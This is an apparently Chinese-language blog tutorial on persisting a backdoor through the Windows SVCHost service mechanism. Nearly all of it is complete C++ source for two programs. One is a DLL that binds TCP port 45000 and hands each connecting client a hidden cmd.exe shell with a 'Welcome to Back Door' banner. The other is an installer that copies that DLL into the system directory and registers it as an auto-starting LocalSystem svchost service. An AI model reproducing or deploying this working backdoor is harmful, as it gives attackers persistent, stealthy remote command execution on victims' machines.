安全之路 —— 利用SVCHost.exe系統服務實現後門自啟動
阿新 • • 發佈:2018-08-24
cas default wait cal tis lis success 放置 簡介
簡介
在Windows系統中有一個系統服務控制器,叫做SVCHost.exe,它可以用來管理系統的多組服務。它與普通的服務控制不同的是它采用dll導出的ServiceMain主函數實現服務運行,詳細原理可參照Blog:SVCHOST啟動服務實戰。我們在使用此方法時,要有兩個步驟:
- 編寫dll文件封裝ServiceMain導出函數
- 編寫負責服務安裝與移除的exe文件
- 本例中需要將.exe與.dll文件放置在同一個文件夾下運行,.exe文件會將dll復制進系統目錄。
C++代碼樣例
- DLL程序代碼:
/////////////////////////////////////// // // FileName : sysWork.cpp // Creator : PeterZ1997 // Date : 2018-5-8 22:07 // Comment : Dll of ServiceMain Function // /////////////////////////////////////// #include <cstdio> #include <iostream> #include <cstdlib> #include <cstring> #include <strsafe.h> #include <WinSock2.h> #include <winsock.h> #include <windows.h> #include <winsvc.h> using namespace std; #pragma comment(lib, "ws2_32.lib") SERVICE_STATUS g_ServiceStatus; SERVICE_STATUS_HANDLE g_hServiceStatus; const unsigned int MAX_COUNT = 255; /// String Max Length const DWORD PORT = 45000; /// Listen Port const unsigned int LINK_COUNT = 30; /// Max Link Number /** * @brief CallBack Function to Translate Service Control Code * @param dwCode Service Control Code */ void WINAPI ServiceControl(DWORD dwCode) { switch (dwCode) { //服務暫停 case SERVICE_CONTROL_PAUSE: g_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; //服務繼續 case SERVICE_CONTROL_CONTINUE: g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; //服務停止 case SERVICE_CONTROL_STOP: g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } //設置服務狀態 if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0) { printf("Set Service Status Error\n"); } return; } /** * @brief Start Remote Shell * @param lpParam the Client Handle */ DWORD WINAPI StartShell(LPVOID lpParam) { STARTUPINFO si; PROCESS_INFORMATION pi; CHAR cmdline[MAX_COUNT] = { 0 }; GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; GetSystemDirectory(cmdline, sizeof(cmdline)); strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe"); while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { Sleep(100); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } /** * @brief Service Running Function * @param lpParam NULL */ DWORD WINAPI RunService(LPVOID lpParam) { CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n"; SOCKET sClient[30]; DWORD dwThreadId[30]; HANDLE hThread[30]; WSADATA wsd; if (WSAStartup(0x0202, &wsd)) { printf("WSAStartup Process Error\n"); return 0; } SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(PORT); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0; if (listen(sListen, LINK_COUNT)) return 0; for (int i = 0; i < LINK_COUNT; i++) { sClient[i] = accept(sListen, NULL, NULL); hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]); send(sClient[i], wMessage, strlen(wMessage), 0); } WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE); return 0; } /** * @brief Export Function */ extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv) { HANDLE hThread; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwServiceType = SERVICE_WIN32; g_ServiceStatus.dwWaitHint = 0; g_ServiceStatus.dwWin32ExitCode = 0; g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl); if (!g_hServiceStatus) { printf("Register Service Error\n"); return; } g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus)) { printf("Set ServiceStatus Error !\n"); return; } hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL); if (!hThread) { printf("Create Thread Error\n"); } return; } /** * @brief DLL Main Function */ BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_DETACH: { ServiceControl(SERVICE_CONTROL_STOP); break; } default: break; } return TRUE; }
2 . EXE程序代碼:
////////////////////////////////////////////// // // FileName : SVCHostDemo.cpp // Creator : PeterZ1997 // Date : 2018-5-8 01:17 // Comment : use SVCHost.exe to achieve software auto-run // ////////////////////////////////////////////// #include <iostream> #include <cstdio> #include <cstdlib> #include <cstring> #include "strsafe.h" #include <windows.h> #include <winsvc.h> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib") using namespace std; const unsigned int MAX_COUNT = 255; //字符串長度 CHAR szRegInfo[MAX_COUNT] = "\0"; //註冊表信息緩沖區 SC_HANDLE g_hServiceHandle; //服務實例句柄 SERVICE_STATUS g_ssServiceStatus; //服務狀態結構體 SERVICE_STATUS_HANDLE g_ssServiceHandle; //服務狀態句柄 /** * @brief 封裝REG_MULTI_SZ型註冊表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @param szData key Data * @param cp length of (BYTE*)szValue */ BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp) { HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true; } /** * @brief 封裝REG_SZ型註冊表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @param szData key Data */ BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue) { HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true; } /** * @brief 封裝REG_EXPAND_SZ型註冊表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @param szData key Data */ BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue) { HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true; } /** * @brief 封裝DWORD型註冊表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @param szData key Data */ BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue) { HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true; } /** * @brief get Registry Value Info(REG_MULTI_SZ) * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name */ BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName) { HKEY hKey; DWORD dwType = REG_MULTI_SZ; DWORD dwLenData = strlen(szRegInfo); LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (lRes != ERROR_SUCCESS) { RegCloseKey(hKey); RegCloseKey(hRoot); return false; } RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData); lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData); if (lRes != ERROR_SUCCESS) { RegCloseKey(hKey); RegCloseKey(hRoot); return false; } RegCloseKey(hKey); RegCloseKey(hRoot); return true; } /** * @brief CallBack Function to Translate Service Control Code * @param dwCode Service Control Code */ void WINAPI ServiceControl(DWORD dwCode) { switch (dwCode) { case SERVICE_CONTROL_PAUSE: g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ssServiceStatus.dwWin32ExitCode = 0; g_ssServiceStatus.dwCheckPoint = 0; g_ssServiceStatus.dwWaitHint = 0; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0) { printf("Set Service Status Error\n"); } return; } /** * @brief 安裝服務 */ BOOL InstallService() { CHAR szSysPath[MAX_COUNT] = "\0"; CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" }; CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8); memset(szTargetString, 0, sizeof(szTargetString)); register int count = 0; register int cp = 0; GetSystemDirectory(szSysPath, sizeof(szSysPath)); StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll"); CopyFile("sysWork.dll", szSysPath, true); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server"); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService"); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001); setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs"); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem"); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010); setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath); getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs"); register LPSTR p = LPSTR(szRegInfo); for (; *p; p += strlen(p) + 1, count++) { StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p); } StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService"); p = LPSTR(szTargetString); for (int i = 0; i <= count; i++) { strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]); p += strlen(szRegGroup[i]) + 1; cp += strlen(szRegGroup[i]) + 1; } setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp); return true; } /** * @brief 移除服務 */ BOOL RemoveService() { SC_HANDLE hscManager; CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" }; CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8); memset(szTargetString, 0, sizeof(szTargetString)); register int count = 0; register int cp = 0; CHAR szSysPath[MAX_COUNT] = "\0"; GetSystemDirectory(szSysPath, sizeof(szSysPath)); StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll"); hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hscManager) { printf("Open Service Manager Error\n"); return false; } printf("Open Service Manager Success\n"); g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS); if (!g_hServiceHandle) { printf("Open Service Error\n"); return false; } printf("Open Service Success\n"); if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus)) { if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING) { ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus); } } else { printf("Service Status Get Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } if (!DeleteService(g_hServiceHandle)) { printf("Delete Service Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService")) { printf("Delete RegKey Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } memset(szRegInfo, 0, sizeof(szRegInfo)); getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs"); register LPSTR p = LPSTR(szRegInfo); for (; *p; p += strlen(p) + 1) { if (!strcmp(p, "NewService")) { continue; } StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p); count++; } p = LPSTR(szTargetString); for (int i = 0; i <= count; i++) { strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]); p += strlen(szRegGroup[i]) + 1; cp += strlen(szRegGroup[i]) + 1; } setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp); printf("Remove Service Success\n"); DeleteFile(szSysPath); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return true; } /** * @brief Main Function */ int main(int argc, char* argv[]) { if (argc == 2) { if (!stricmp(argv[1], "--install")) { if (!InstallService()) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else if (!stricmp(argv[1], "--remove")) { if (!RemoveService()) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } return 0; }
安全之路 —— 利用SVCHost.exe系統服務實現後門自啟動